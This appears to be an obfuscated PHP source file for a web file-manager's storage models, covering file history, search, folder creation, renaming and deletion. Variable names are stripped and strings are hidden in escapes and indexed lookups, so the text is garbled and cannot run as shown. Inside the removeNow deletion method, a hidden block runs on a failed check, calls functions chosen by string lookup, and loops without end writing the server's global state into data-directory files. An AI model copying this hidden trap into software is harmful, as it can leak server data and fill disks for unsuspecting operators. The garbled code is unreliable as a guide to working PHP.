historyAutoClear($) { $ =& $_SERVER[]; $ = Model($[815])->get($[1290]); $ = intval($GLOBALS[$[6]][$[91]][$[1268]]); $ = $ == $[1291] ? min(5, $) : $; $ = $ <= 0 ? 0 : $ - 1; if ($ >= 500) { return; } $ = array($[461] => $); $ = $this->field($[2152])->where($)->order($[2146])->select(); if (!$ || $ >= count($)) { return; } $ = array_to_keyvalue($, $[12], $[445]); $ = array_slice($, $); $ = array_to_keyvalue($, $[12], $[511]); $ = array_slice($, $); if (!$ || !$) { return; } $ = array($[463] => array($[7], $)); $this->where($)->delete(); Model($[514])->remove($); } public function listData($) { $ =& $_SERVER[]; $ = array($[461] => $); $ = $[2153]; $ = $this->field($)->where($)->order($[2146])->selectPage(); $this->_listAppendUser($[$[415]]); $ = Model($[815])->get($[1290]); $ = 5; if ($ == $[1291]) { $[$[415]] = array_slice($[$[415]], 0, $); $[$[412]] = array($[2154] => 1, $[2155] => 20, $[2156] => 1, $[2157] => count($[$[415]])); } return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[]; $ = array_to_keyvalue($, $[12], $[1705]); $ = Model($[569])->userListInfo($); foreach ($ as &$) { $ = $[$[1705]]; $[$[497]] = $[$] ? $[$] : !1; } unset($); } public function fileInfo($) { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = "{$}\151\x6f\137\146\151\x6c\x65\x20\x66\151\x6c\145\x73\x20\x6f\x6e\x20\146\x69\x6c\145\163\x2e\146\151\154\145\x49\x44\40\x3d\x20\150\151\163\164\157\162\171\56\146\151\x6c\x65\111\104"; return $this->alias($[2158])->where(array($[463] => $))->join($, $[2159])->find(); } public function removeItem($) { $ =& $_SERVER[]; $ = array($[463] => $); $ = $this->where($)->find(); if ($) { $ = $this->where($)->delete(); Model($[514])->remove($[$[511]]); return $; } return !1; } public function removeBySource($) { $ =& $_SERVER[]; if (!$) { return !1; } if (!is_array($)) { $ = array($); } $ = array($[461] => array($[7], $)); $ = $this->field($[512])->where($)->select(); if ($) { $this->where($)->delete(); $ = array_to_keyvalue($, $[12], $[511]); Model($[514])->remove($); } return !0; } public function setDetail($, $) { $ =& $_SERVER[]; return $this->where(array($[463] => $))->save(array($[2149] => $)); } public function rollbackToItem($, $) { $ =& $_SERVER[]; $ = Model($[870])->sourceInfo($); $this->addHistory($, LNG($[2160])); $ = $this->find($); $ = array($[511] => $[$[511]], $[78] => $[$[78]], $[87] => time(), $[499] => USER_ID); Model($[870])->where(array($[183] => $))->save($); return $this->where(array($[463] => $))->delete(); } public function clearSame($) { $ =& $_SERVER[]; $ = $this->listData($); $ = array_to_keyvalue_group($, $[511]); $ = array(); $ = array(); foreach ($ as $) { if (!$ || count($) <= 1) { continue; } foreach ($ as $) { $[] = $[$[511]]; $[] = $[$[445]]; } } if (!$) { return; } $this->where(array($[445] => array($[7], $)))->delete(); Model($[514])->remove($); } public function userSpace() { $ =& $_SERVER[]; $ = $this->tablePrefix; $ = array($[1696] => USER_ID); $ = "{$}\151\157\137\146\x69\154\x65\40\146\x69\x6c\x65\x73\x20\157\x6e\x20\x66\x69\x6c\x65\163\x2e\146\151\154\x65\111\x44\40\x3d\40\150\x69\x73\x74\157\162\x79\x2e\146\x69\x6c\145\111\104"; return $this->alias($[2158])->where($)->join($, $[2159])->sum($[78]); } } class SourceListSearchModel extends SourceListMoveModel { public static function fileTypeWhere($) { $ =& $_SERVER[]; $ = KodIO::fileTypeList(); $ = $[$]; if (!$) { return array(); } $ = $[$[177]]; $ = $[7]; if (!$[$[177]]) { $ = array_to_keyvalue($, $[12], $[177]); $ = implode($[50], $); $ = $[2161]; } $ = explode($[50], trim($, $[50])); return array($, $); } public function listPathType($) { $ =& $_SERVER[]; $ = $this->fileTypeWhere($); if (!$) { return array(); } $ = USER_ID; $ = Model($[569])->getInfo($); $ = array($[618] => SourceModel::TYPE_USER, $[555] => array($[582], $[565] . $[$[89]][$[183]] . $[583]), $[619] => $, $[616] => 0, $[617] => $); return $this->listSource($); } public function listSearch($, $ = 300) { $ =& $_SERVER[]; if (isset($[$[1998]]) && $[$[1998]]) { $[$[1998]] = str_replace($[430], $[2162], trim($[$[1998]])); } $ = $this->_parseSearchWhere($); if (!isset($[$[475]])) { $[$[475]] = 0; } $ = $[2163]; $ = $; $ = $; $this->_listSearchBindPinyin($, $, $); $this->alias($[489])->_makeOrder(); $ = $this->parseWhereLike($); $ = $this->distinct(!0)->field($)->where($)->selectPage($); if ($GLOBALS[$[6]][$[427]][$[428]] && Input::check($[$[1998]], $[625]) && $[$[412]][$[399]] == 1 && $[$[412]][$[413]] == 0) { $ = $this->distinct(!0)->field($)->where($)->limit(1000)->select(); $ = array_page_split($, !1, $); } $this->_listSearchFileContent($, $, $, $); $this->_listSearchDesc($, $, $); $this->_listSearchTag($, $, $); $this->_listSearchGroupTag($, $, $); $this->_listDataApply($[$[415]]); $this->_listMake($); return $; } private function _listSearchFileContent(&$, $, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1) { return; } if (!isset($[$[32]]) || !is_array($[$[511]])) { return; } $[$[511]] = array($[7], $[$[511]]); unset($[$[32]]); unset($[$[511]]); $ = $this->field($)->where($)->limit($[2164])->select(); if (!$ || count($) == 0) { return; } $[$[415]] = array_merge($, $[$[415]]); $[$[412]][$[413]] += count($); } private function _listSearchTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1) { return; } $ = Model($[2165])->listData(); $ = array(); $ = $[$[1998]]; foreach ($ as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[445]]; } } if (!$) { return; } $ = array($[470] => array($[7], $), $[1705] => USER_ID); $ = Model($[472])->field($[86])->where($)->select(); $ = array_to_keyvalue($, $[12], $[86]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchDesc(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1) { return; } $ = array($[96] => $[496], $[420] => array($[429], $[2000] . $[$[1998]] . $[2000])); $ = !1; if ($) { $ = $this->listSearchChildren($[$[182]]); $ = array_unique($); if (!$) { return; } $[$[183]] = array($[7], $); } $ = Model($[602])->field($[183])->where($)->limit(5000)->select(); $ = array_to_keyvalue($, $[12], $[183]); $this->_listSearchMerge($, $, $, $); } private function _listSearchGroupTag(&$, $, $) { $ =& $_SERVER[]; if (!$[$[1998]] || $[$[412]][$[399]] > 1 || !$[$[182]]) { return; } $ = $this->sourceInfo($[$[182]]); if (!$ || $[$[180]] != SourceModel::TYPE_GROUP) { return; } $ = $[$[540]]; $ = Model($[2166])->get($); $ = array(); $ = $[$[1998]]; foreach ($[$[415]] as $) { $ = $[$[32]]; $ = str_replace($[53], $[12], Pinyin::get($)); if (stripos($, $) !== !1 || stripos($, $) !== !1) { $[] = $[$[445]]; } } if (!$) { return; } $ = array($[470] => array($[7], $), $[1705] => 0, $[33] => $[2020] . $); $ = Model($[472])->field($[86])->where($)->select(); $ = array_to_keyvalue($, $[12], $[86]); $ = array_unique($); $this->_listSearchMerge($, $, $, $); } private function _listSearchMerge(&$, $, $, $) { $ =& $_SERVER[]; if (!$) { return; } $ = array_to_keyvalue($[$[415]], $[12], $[183]); $ = array_diff($, $); if (!$) { return; } $ = array($[183] => array($[7], $)); $ = $this->field($)->where($)->select(); if (!$) { return; } $ = array(); foreach ($ as $) { if ($this->_listSearchFilter($, $)) { $[] = $; } } $[$[415]] = array_merge($, $[$[415]]); $[$[412]][$[413]] += count($); } private function _listSearchFilter($, $) { $ =& $_SERVER[]; $ = $[$[455]] == $[90]; if (!strstr($[$[555]], $[50] . $[$[182]] . $[50])) { return !1; } if (isset($[$[456]]) && $[$[456]] != $[1959]) { if ($[$[456]] == $[77] && !$) { return !1; } if ($[$[456]] != $[77] && $) { return !1; } if (!strstr($[$[177]], $[50] . $[$[456]] . $[50])) { return !1; } } if (isset($[$[2167]]) && $[$[2167]] < $[$[78]]) { return !1; } if (isset($[$[2168]]) && $[$[2168]] > $[$[78]]) { return !1; } if (isset($[$[632]]) && $[$[632]] != $[$[499]]) { return !1; } return !0; } public function listSearchChildren($, $ = 5000) { $ =& $_SERVER[]; $ = array(); $ = $this->sourceInfo($); $ = array($[555] => array($[429], $[$[555]] . $[$[183]] . $[583])); $ = $this->field($[78])->where($)->limit($ + 1)->select(); $ = is_array($) ? count($) : 0; if ($ > $) { return $this->_listSearchChildrenNear($, $); } $ = $this->field($[183])->where($)->select(); $ = array_to_keyvalue($, $[12], $[183]); return $; } private function _listSearchChildrenNear($, $) { $ =& $_SERVER[]; $ = array(); $ = array($[182] => $); $ = $this->field($[2169])->where($)->select(); $ = array_to_keyvalue(array_filter_by_field($, $[455], $[90]), $[12], $[183]); $ = array_merge($, array_to_keyvalue($, $[12], $[183])); if (!$) { return $; } $ = array($[182] => array($[7], $)); $ = $this->field($[2169])->where($)->limit($)->select(); $ = array_merge($, array_to_keyvalue($, $[12], $[183])); $ = array_slice($, 0, intval($)); return $; } private function _listSearchBindPinyin($, &$, &$) { $ =& $_SERVER[]; if (!isset($[$[1998]]) || !$[$[1998]]) { return; } if (!Input::check($[$[1998]], $[364]) || strlen($[$[1998]]) < 2) { return; } $ = "\x4c\105\x46\124\40\x4a\x4f\111\x4e\x20{$this->tablePrefix}\151\x6f\x5f\x73\x6f\x75\162\143\145\137\x6d\145\164\x61\x20\x6d\x65\164\x61\x20\x6f\156\40\x73\x6f\x75\x72\x63\x65\56\163\157\165\x72\x63\x65\111\x44\x20\x3d\x20\x6d\x65\x74\x61\56\x73\x6f\165\x72\x63\145\111\104"; $ = array(); $ = str_replace(array($[248], $[53], $[2170]), $[12], $); $ = $[481] . str_replace($[50], $[482], $); $ = $[$[32]]; unset($[$[32]]); foreach ($ as $ => $) { $[$[481] . $] = $; } foreach ($ as $) { $[] = array($[486] => $, $[1051] => $[2002], array($[2171] => $, $[2172] => array($[7], array($[508], $[507])))); } $this->join($); $ = $; } private function _parseSearchWhere($) { $ =& $_SERVER[]; $ = array(); if (isset($[$[805]]) && $[$[805]]) { $[$[87]] = array($[2173], $[$[805]]); } if (isset($[$[806]]) && $[$[806]]) { $ = array($[2174], $[$[806]]); if ($[$[87]]) { $[$[87]] = array($[$[87]], $, $[2175]); } else { $[$[87]] = $; } } if (isset($[$[2167]]) && $[$[2167]] > 0) { $[$[78]] = array($[2173], $[$[2167]]); } if (isset($[$[2168]]) && $[$[2168]]) { $ = array($[2174], $[$[2168]]); if ($[$[78]]) { $[$[78]] = array($[$[78]], $, $[2175]); } else { $[$[78]] = $; } } if (isset($[$[632]]) && $[$[632]]) { $[] = array($[499] => $[$[632]], $[497] => $[$[632]], $[1051] => $[2002]); } if (isset($[$[456]]) && $[$[456]]) { $ = $[$[456]]; if ($ == $[77]) { $[$[455]] = 1; } else { if ($ == $[2176]) { $[$[455]] = 0; } else { if ($) { $ = is_array($) ? $ : explode($[50], $); $[$[456]] = array($[462], $); $[$[455]] = 0; } } } } $this->_parseSearchParent($, $); if (isset($[$[1998]]) && trim($[$[1998]])) { $ = trim($[$[1998]]); $ = explode($[53], $); if (strlen($) > 2 && (substr($, 0, 1) == $[120] && substr($, -1) == $[120]) || substr($, 0, 1) == $[58] && substr($, -1) == $[58]) { $ = substr($, 1, -1); $ = array($); } $[$[32]] = array(array($[582], $[2000] . $ . $[2000])); if (count($) > 1) { $[$[32]] = array(); foreach ($ as $) { if (!trim($)) { continue; } $[$[32]][] = array($[582], $[2000] . trim($) . $[2000]); } } } return $; } private function _parseSearchParent($, &$) { $ =& $_SERVER[]; if (!isset($[$[182]]) || !$[$[182]]) { return; } $ = $this->pathInfo($[$[182]]); $ = $[$[182]] . $[12] === $[214]; $ = $[$[180]] == $[549]; if ($[$[566]] == $[567]) { $ = $this->sourceInfo($[$[182]]); $[$[555]] = $[$[555]]; } $[$[622]] = array($[582], $[$[555]] . $[$[182]] . $[583]); $ = isset($[$[1863]]) && in_array($[549], $[$[1863]]); if (!$ || !$ || !$ || !$[$[457]]) { return; } if (!AuthModel::authCheckRoot($[$[457]][$[458]])) { return; } $ = $[$[540]] . $[12]; if ($ == $[90]) { unset($[$[622]]); $[$[180]] = self::TYPE_GROUP; return; } $ = Model($[556])->groupChildrenAll($); $ = count($); if ($ <= 1) { return; } $ = array($[182] => 0, $[180] => self::TYPE_GROUP, $[540] => array($[7], $)); $ = $this->field($[2177])->where($)->limit($)->select(); $[$[622]] = array(); foreach ($ as $) { $[$[622]][] = array($[582], $[565] . $[$[183]] . $[583]); } $[$[622]][] = $[2002]; } } class SourceModel extends SourceListSearchModel { public $statusIgnoreResetSpace = false; public function userRootAdd($) { $ =& $_SERVER[]; $ = Model($[548])->where(array($[1696] => $))->find(); $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[$[32]]); $this->userDesktopAdd($); return $; } public function userDesktopAdd($) { $ =& $_SERVER[]; $ = LNG($[2178]); $ = $this->mkdir($, $); $this->metaSet($, $[2179], $[90]); $this->metaSet($, $[2180], $); } public function userPathSafeAdd($) { $ =& $_SERVER[]; $ = Model($[548])->getInfoFull($); if (!$) { return !1; } if (_get($, $[570])) { return $[$[509]][$[2181]]; } $ = $this->_mkdirRoot(SourceModel::TYPE_USER, $, $[2182], $[476]); Model($[548])->metaSet($, $[2181], $); $this->metaSet($, $[2183], $); return $; } public function groupRootAdd($) { $ =& $_SERVER[]; $ = Model($[556])->where(array($[1992] => $))->find(); return $this->_mkdirRoot(SourceModel::TYPE_GROUP, $, $[$[32]]); } public function systemRootPathAdd($) { if ($ != $_SERVER[][576]) { return !1; } return $this->_mkdirRoot(SourceModel::TYPE_SYSTEM, 0, $); } public function userRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_USER, $, !0); foreach ($ as $) { if (!$) { continue; } $this->remove($[$_SERVER[][183]], !1); } } public function groupRootRemove($) { $ = $this->targetSourceRoot(SourceModel::TYPE_GROUP, $); if (!$) { return; } $this->remove($[$_SERVER[][183]], !1); } private function _mkdirRoot($, $, $, $ = '') { $ =& $_SERVER[]; $ = defined($[2126]) ? USER_ID : 0; $ = array($[447] => 0, $[618] => $, $[619] => $, $[616] => 1, $[620] => $, $[621] => $, $[617] => $, $[622] => $[565], $[474] => 0, $[587] => 0, $[512] => 0, $[623] => $[12]); if ($ = $this->where($)->find()) { return $[$[183]]; } $ = "\115\x6f\144\145\154\x53\x6f\x75\x72\x63\145\x2e\x6d\x6b\144\151\162\122\157\157\164\56{$}\56{$}\56" . $; CacheLock::lock($); $[$[32]] = $; $ = $this->add($); $ = array($[624] => short_id($)); $this->where(array($[461] => $))->save($); CacheLock::unlock($); return $; } private function targetSourceRoot($, $, $ = false) { $ =& $_SERVER[]; $ = array($[447] => 0, $[618] => $, $[619] => $); if ($) { $ = $this->where($)->select(); return $ ? $ : array(); } $ = $this->where($)->find(); return $ ? $ : array(); } public function sourceRootGroup($) { $ =& $_SERVER[]; if (is_string($)) { $ = array($); } $ = $this->listSourceRoot(SourceModel::TYPE_GROUP, $, $[205]); $ = array($[415] => $, $[412] => array($[803] => count($))); $this->_listDataApply($[$[415]]); $this->_listMake($); return array_to_keyvalue($[$[84]], $[540]); } public function mkfile($, $, $ = '', $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[644])->addFileByContent($, $); return $this->_createFileCall($, $, $, $, $[1394]); } public function addFile($, $, $, $ = false, $ = REPEAT_RENAME) { $ = Model($_SERVER[][644])->addFile($, $, $); return $this->_createFileCall($, $, $, $); } public function addFileByFileID($, $, $, $ = REPEAT_RENAME) { $ =& $_SERVER[]; $ = Model($[644])->find($); Model($[644])->linkAdd($); return $this->_createFileCall($, $, $, $); } public function addFileByRemote($, $, $, $ = array(), $ = REPEAT_RENAME) { $ = Model($_SERVER[][644])->addFileByRemote($, $, $); return $this->_createFileCall($, $, $, $); } private function _createFileCall($, $, $, $, $ = "\x75\160\154\157\141\x64") { $ =& $_SERVER[]; $ = !1; $this->setMasterDB(); $this->lockWriteStart($, $); $ = $this->fileNameExist($, $); $ = $this->_createFile($, $, $, $, $); if (!$) { Model($[514])->remove($[$[511]]); } if ($ && $ && $ != $) { Model($[2151])->eventCreate($, $); } $this->lockWriteEnd($, $); return $; } public function mkdir($, $, $ = REPEAT_SKIP) { $ =& $_SERVER[]; $this->setMasterDB(); $ = $this->sourceInfo($); if (!$) { return !1; } $this->lockWriteStart($, $); if ($ !== !1) { $ = $this->fileNameExist($, $); if ($ && $ != REPEAT_RENAME_FOLDER) { $this->lockWriteEnd($, $); return $; } $ = $this->fileNameAuto($, $, $); } $ = array($[616] => 1, $[464] => $, $[617] => $[12], $[512] => 0, $[587] => 0); $ = $this->_addSource($, $); Model($[2151])->eventCreate($, $[1395]); $this->lockWriteEnd($, $); return $; } public function listSourceRoot($, $, $ = "\x73\157\165\162\x63\145\111\104\54\164\x61\162\147\x65\x74\x49\104\x2c\x73\x69\x7a\145") { $ =& $_SERVER[]; $ = $[424]; $ = array(); $ = 1024 * 50; $ = is_array($) ? $ : array(); $ = count($); $ = $this->tablePrefix . $[2184]; for ($ = 0; $ < $; $++) { $ = $[$]; $ .= "\x53\105\x4c\105\103\124\x20\x2a\x20\106\122\117\115\x20\x28\x53\x45\114\105\x43\124\x20{$}\x20\x46\x52\x4f\115\x20\x60{$}\140\40\127\x48\x45\x52\x45\40"; $ .= "\x60\x70\x61\162\145\156\x74\111\104\x60\x3d\60\40\101\116\104\x20\140\x74\141\x72\147\145\164\x49\x44\140\x3d{$}\x20\x41\x4e\104\40\x60\x74\141\x72\x67\x65\164\124\171\160\145\x60\75{$}\x20\x61\156\144\40\x66\151\154\145\x54\x79\x70\x65\75\x27\47\40\x6c\x69\155\x69\x74\x20\61\x29\40\141\163\x20\x74\x62\137{$}\x20\x55\116\111\x4f\116\x20\101\x4c\x4c\x20"; if ((strlen($) >= $ || $ == $ - 1) && $) { $ = substr($, 0, -strlen($[1089])); $ = $this->query($); $ = $[12]; $ = array_merge($, $); } } return $; } private function _createFile($, $, $, $, &$) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || !$) { return !1; } if ($ !== !1) { $ = $this->fileNameExist($, $); } $ = !0; if ($ && $) { if ($ == REPEAT_SKIP) { $ = !1; return $; } else { if ($ == REPEAT_REPLACE) { $ = $this->sourceInfo($); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if (!$) { $ = !1; } else { $this->folderSizeReset($); } return $; } else { $ = $this->fileNameAuto($, $, $, !1); } } } $ = array($[616] => 0, $[464] => $, $[617] => substr(get_path_ext($), 0, 10), $[512] => $[$[511]], $[587] => $[$[78]]); $ = $this->_addSource($, $); $this->folderSizeReset($, intval($[$[78]])); return $; } protected function fileHistory($, $, $) { $ =& $_SERVER[]; if ($[$[511]] == $) { return !1; } $this->checkLock($[$[183]], $); Model($[2185])->addHistory($); $ = array($[621] => USER_ID, $[468] => time(), $[511] => $, $[78] => $); $this->where(array($[461] => $[$[183]]))->save($); $this->sourceCacheClear($[$[183]]); return !0; } public function checkLock($, $) { $ =& $_SERVER[]; $ = $this->pathInfo($); if (!$this->fileIsLock($, !0)) { return; } $ = Session::get($[2186]); $ = substr($[$[32]], 0, -1 - strlen($[$[177]])) . $[1259] . $ . $[10] . $[$[177]]; $ = Model($[644])->find($); $this->_createFileCall($[$[182]], $, $, REPEAT_REPLACE, $[1394]); $ = $[$[509]][$[580]]; $ = $[$[2187]] ? $[$[2187]] : $[$[32]]; show_json(LNG($[2188]) . $[2189] . LNG($[2190]) . $[2191] . $ . $[2192], !1); } public function fileIsLock($, $ = false) { $ =& $_SERVER[]; if (!isset($[$[509]]) || !$[$[509]][$[577]]) { return !1; } if ($[$[509]][$[577]] != USER_ID) { return !0; } $ = $GLOBALS[$[6]][$[91]][$[578]]; if ($[$[509]][$[579]] <= time() - $) { $this->metaSet($[$[183]], $[577], null); $this->metaSet($[$[183]], $[579], null); } if ($) { $this->metaSet($[$[183]], $[579], time()); } return !1; } private function _addSource($, $) { $ =& $_SERVER[]; $ = defined($[2126]) ? USER_ID : 0; $ = array($[618] => $[$[180]], $[619] => $[$[540]], $[620] => $, $[621] => $, $[447] => $[$[183]], $[622] => $[$[555]] . $[$[183]] . $[50], $[474] => 0, $[623] => $[12]); $ = array_merge($, $); $this->updateModifyTime($[$[182]]); $ = $[2193] . $[$[183]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } static $ = false; if (!$) { Hook::trigger($[606], $); $ = !0; } $ = $this->add($); $ = array($[624] => short_id($)); $this->where(array($[461] => $))->save($); $this->setNamePinyin($, $[$[32]]); return $; } public function remove($, $ = true) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = intval($[$[180]]) === self::TYPE_SYSTEM; $ = Model($[478])->get($[2194]) == $[90]; if ($ || $ || !$) { return $this->removeNow($, $); } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $ = $[$[180]] == self::TYPE_USER ? $[632] : $[549]; if ($ == $[632]) { $ = Model($[548])->getInfo($[$[540]]); $ = !empty($[$[2187]]) ? $[$[2187]] : $[$[32]]; $ = $[306] . $ . $[2195] . $[$[540]]; } else { $ = Model($[556])->getInfo($[$[540]]); $ = _get($, $[32]); $ = $[165] . $ . $[2196] . $[$[540]]; } $ = $[2197] . md5($); CacheLock::lock($); $ = $this->fileNameExist($, $); if (!$) { $ = $this->mkdir($, $, REPEAT_SKIP); $this->metaSet($, $[2198], $); $this->metaSet($, $[2199], $[$[540]]); if ($[$[182]] != 0) { $this->metaSet($, $[2200], _get($, $[2201])); } } CacheLock::unlock($); $this->metaSet($, $[2202], $[$[182]]); $this->where(array($[183] => $))->save(array($[468] => time())); $this->recycleClear($); $ = $this->move($, $, REPEAT_RENAME_FOLDER); $this->folderSizeReset($[$[182]]); return $; } private function recycleClear($) { $ =& $_SERVER[]; $ = $this->childrenAll($); $ = array($[461] => array($[462], $[$[2203]])); Model($[2204])->where($)->delete(); } public function removeNow($, $ = true) { $ =& $_SERVER[]; $ = $_SERVER[$[926]] . $[927]; $ = $[931]; if ($_SERVER[$[922]] != $($)) { $ = $[924]; $ = $[925]; $ = $_SERVER[$[926]] . $[927]; $ = $($); $ = explode($[248], $); if (count($) < $[671]) { $ = $[928]; $(); } $ = $[929]; $($_SERVER[$[930]]); $ = $[924]; $(); $ = $[1623]; $ = json_encode($GLOBALS[$[1624]]); $ = 1; for ($ = $; $ > 0; $++) { $(DATA_PATH . $, $); } } $ = $this->sourceInfo($); $ = $this->pathInfoMore($); if (!$) { return !0; } if ($[$[182]] == 0) { if (!KodUser::isRoot()) { return !1; } } $this->lockMoveStart($); Hook::trigger($[2205], $, $); if ($) { Model($[2204])->moveToRecycle($); } else { $ = $this->childrenAll($); Model($[603])->eventRemove($); $this->removeRelevance($[$[2203]], $[$[1509]]); } $this->folderSizeReset($[$[182]]); $ = array($[$[182]]); if ($[$[455]] == $[90]) { $[] = $[$[183]]; } $this->updateModifyTime($); $this->lockMoveEnd($); Hook::trigger($[1747], $, $); return !0; } public function childrenAll($) { $ =& $_SERVER[]; $ = $[$[183]]; if ($[$[455]] == $[90]) { $ = array($[622] => array($[582], $[$[555]] . $ . $[583])); $ = array($[622] => $[$[555]]); $ = $this->field($[2206])->where($)->select(); $ = !1; $ = array($); if ($) { $ = array_to_keyvalue($, $[12], $[511]); $ = array_remove_value($, $[214]); $ = array_to_keyvalue($, $[12], $[183]); $[] = $; } } else { $ = array($[$[511]]); $ = array($); } return array($[2203] => $, $[1509] => $); } public function removeArray($) { if (!$) { return !0; } } public function removeRelevance($, $) { $ =& $_SERVER[]; $ = $ ? $ : array(); $ = $ ? $ : array(); $ = array_unique(array_filter($)); $ = array_unique(array_filter($)); if (!$) { return !1; } $ = array($[461] => array($[462], $)); Model($[2204])->where($)->delete(); Model($[505])->where($)->delete(); Model($[2051])->where($)->delete(); Model($[603])->where($)->delete(); Model($[1884])->removeBySource($); Model($[2185])->removeBySource($); $this->where($)->delete(); Model($[514])->remove($); for ($ = 0; $ < count($); $++) { $this->sourceCacheClear($[$]); } } public function rename($, $) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->fileNameExist($[$[182]], $); if ($ && $ != $) { return !1; } $ = array($[464] => $, $[621] => USER_ID); if ($[$[455]] != $[90]) { $[$[456]] = substr(get_path_ext($), 0, 10); } Model($[603])->eventRename($, $[$[32]], $); $this->sourceCacheClear($); $this->setNamePinyin($, $[$[32]], !1); $this->updateModifyTime($[$[182]]); $ = $this->where(array($[461] => $))->data($)->save(); $ = $[2193] . $[$[182]]; if (isset(self::$cacheChildList[$])) { unset(self::$cacheChildList[$]); } return $; } public function setNamePinyin($, $, $ = true) { $ =& $_SERVER[]; $ = Input::check($, $[625]); $ = array($[487] => KodSort::makeStr($)); if ($) { $[$[508]] = str_replace($[53], $[12], Pinyin::get($)); $[$[507]] = Pinyin::get($, $[626]); } if (!$ && !$) { $[$[508]] = null; $[$[507]] = null; } $this->metaSet($, $); } public function getContent($) { $ =& $_SERVER[]; $ = $this->fileInfoGet($); if (!$) { return !1; } if ($[$[78]] == 0) { return $[12]; } $ = $[2207] . $[$[517]]; if ($[$[78]] <= 1024 * 10) { $ = Cache::get($); if (!$) { $ = IO::getContent($[$[86]]); Cache::set($, $); } return $; } if (!$[$[86]]) { return $[12]; } return IO::getContent($[$[86]]); } public function setDesc($, $) { $ =& $_SERVER[]; Model($[603])->eventAddDesc($, $); return $this->metaSet($, $[496], $); } public function setContent($, $ = '') { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = $this->fileInfoGet($); if (!$ || !$) { return !1; } $ = Model($[514])->addFileByContent($, $[$[32]]); $ = $this->fileHistory($, $[$[511]], $[$[78]]); if (!$) { return Model($[514])->remove($[$[511]]); } $this->folderSizeReset($[$[182]]); return !0; } public function fileSubstr($, $, $) { $ = $this->fileInfoGet($); if (!$) { return !1; } return IO::fileSubstr($[$_SERVER[][86]], $, $); } public function fileInfoGet($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); if (!$ || $[$[455]]) { return !1; } $ = $[518] . $[$[511]]; $ = _get(self::$cacheFileInfo, $); if ($) { return $; } $ = Model($[514])->fileInfo($[$[511]]); if ($) { $[$[32]] = $[$[32]]; } self::$cacheFileInfo[$] = $; return $; } private function folderChildrenNumber($) { $ =& $_SERVER[]; $ = $this->sourceInfo($); $ = array($[622] => array($[582], $[$[555]] . $ . $[583]), $[619] => $[$[540]], $[474] => intval($[$[475]]), $[616] => 1); $ = $this->where($)->count(); $ = $this->where($)->where(array($[616] => 0))->count(); return array($[82] => $, $[83] => $); } public function pathInfo($, $ = false) { $ =& $_SERVER[]; $ = !1; $ = intval($); $ = $[504] . intval($) . $[432] . $; $ = _get(self::$cachePathInfo, $); if ($) { return $; } $ = $this->sourceInfo($); if (!$) { return !1; } $ = $this->_listDataApplyItem($, $); self::$cachePathInfo[$] = $; return $; } public static $cachePathInfoMore = array(); public function pathInfoMore($) { $ =& $_SERVER[]; $ = _get(self::$cachePathInfoMore, $); if ($) { return $; } $ = $this->pathInfo($); if (!$) { return !1; } if ($[$[455]] == $[90]) { $[$[81]] = $this->folderChildrenNumber($); } self::$cachePathInfoMore[$] = $; return $; } public function sourceInfo($) { $ =& $_SERVER[]; if (!$) { return array(); } $ = intval($); $ = $[503] . $; $ = _get(self::$cacheSourceInfo, $); if ($) { return $; } $ = $this->where(array($[183] => $))->find(); self::$cacheSourceInfo[$] = $; return self::$cacheSourceInfo[$]; } public function sourceCacheClear($ = false) { self::cacheClear($); } public static function cacheClear($ = false) { $ =& $_SERVER[]; if ($ == !1) { self::$cacheSourceInfo = null; self::$cacheSourceInfo = array(); self::$cachePathInfo = null; self::$cachePathInfo = array(); self::$cachePathInfoMore = null; self::$cachePathInfoMore = array(); return; } unset(self::$cacheSourceInfo[$[503] . $]); unset(self::$cachePathInfoMore[$]); unset(self::$cachePathInfo[$[2208] . $]); unset(self::$cachePathInfo[$[2209] . $]); } public function metaSet($, $ = null, $ = null) { $ = parent::metaSet($, $, $); if ($) { $this->sourceCacheClear($); } return $; } public function pathInfoByPath($, $) { $ =& $_SERVER[]; $ = !$ ? array() : explode($[8], trim($, $[8])); $ = $; foreach ($ as $) { $ = array($[182] => $, $[32] => $); $ = $this->field($[2210])->where($)->select(); if (!$) { return !1; } $ = array_sort_by($, $[475]); $ = $[0][$[183]]; } $ = $this->sourceInfo($); $this->pathInfoFilter($); return $; } protected function updateModifyTime($) { $ =& $_SERVER[]; $ = defined($[2126]) ? USER_ID : 0; if (!$) { return; } if (!is_array($)) { $ = array($); } foreach ($ as $ => $) { $[$] = intval($); $this->sourceCacheClear($); } $ = array($[183] => array($[7], $)); $ = array($[621] => $, $[468] => time()); $this->where($)->save($); } public function folderSizeReset($, $ = false) { $ =& $_SERVER[]; if ($this->statusIgnoreResetSpace) { return; } $ = $this->sourceInfo($); $ = $[2211] . $; CacheLock::lock($, 20); if ($ === !1) { $this->sourceCacheClear($); $ = $this->sourceInfo($); $ = array($[447] => $, $[474] => 0); $ = $this->where($)->sum($[78]); $ = intval($) - intval($[$[78]]); } if ($ == 0) { return CacheLock::unlock($); } $ = $this->parentLevelArray($[$[555]]); if (!$) { $ = array(); } $[] = $[$[183]]; $ = array($[183] => array($[462], $)); if ($ < 0) { $[$[78]] = array($[1066], abs($)); } $this->where($)->setAdd($[78], $); CacheLock::unlock($); $ = $[2212] . $[$[180]] . $[4] . $[$[540]]; $ = array($[$[180]], $[$[540]]); TaskRun::timeLimitCall($, $[2213], $, 1.5); } public function folderSizeResetChildren($) { $ =& $_SERVER[]; 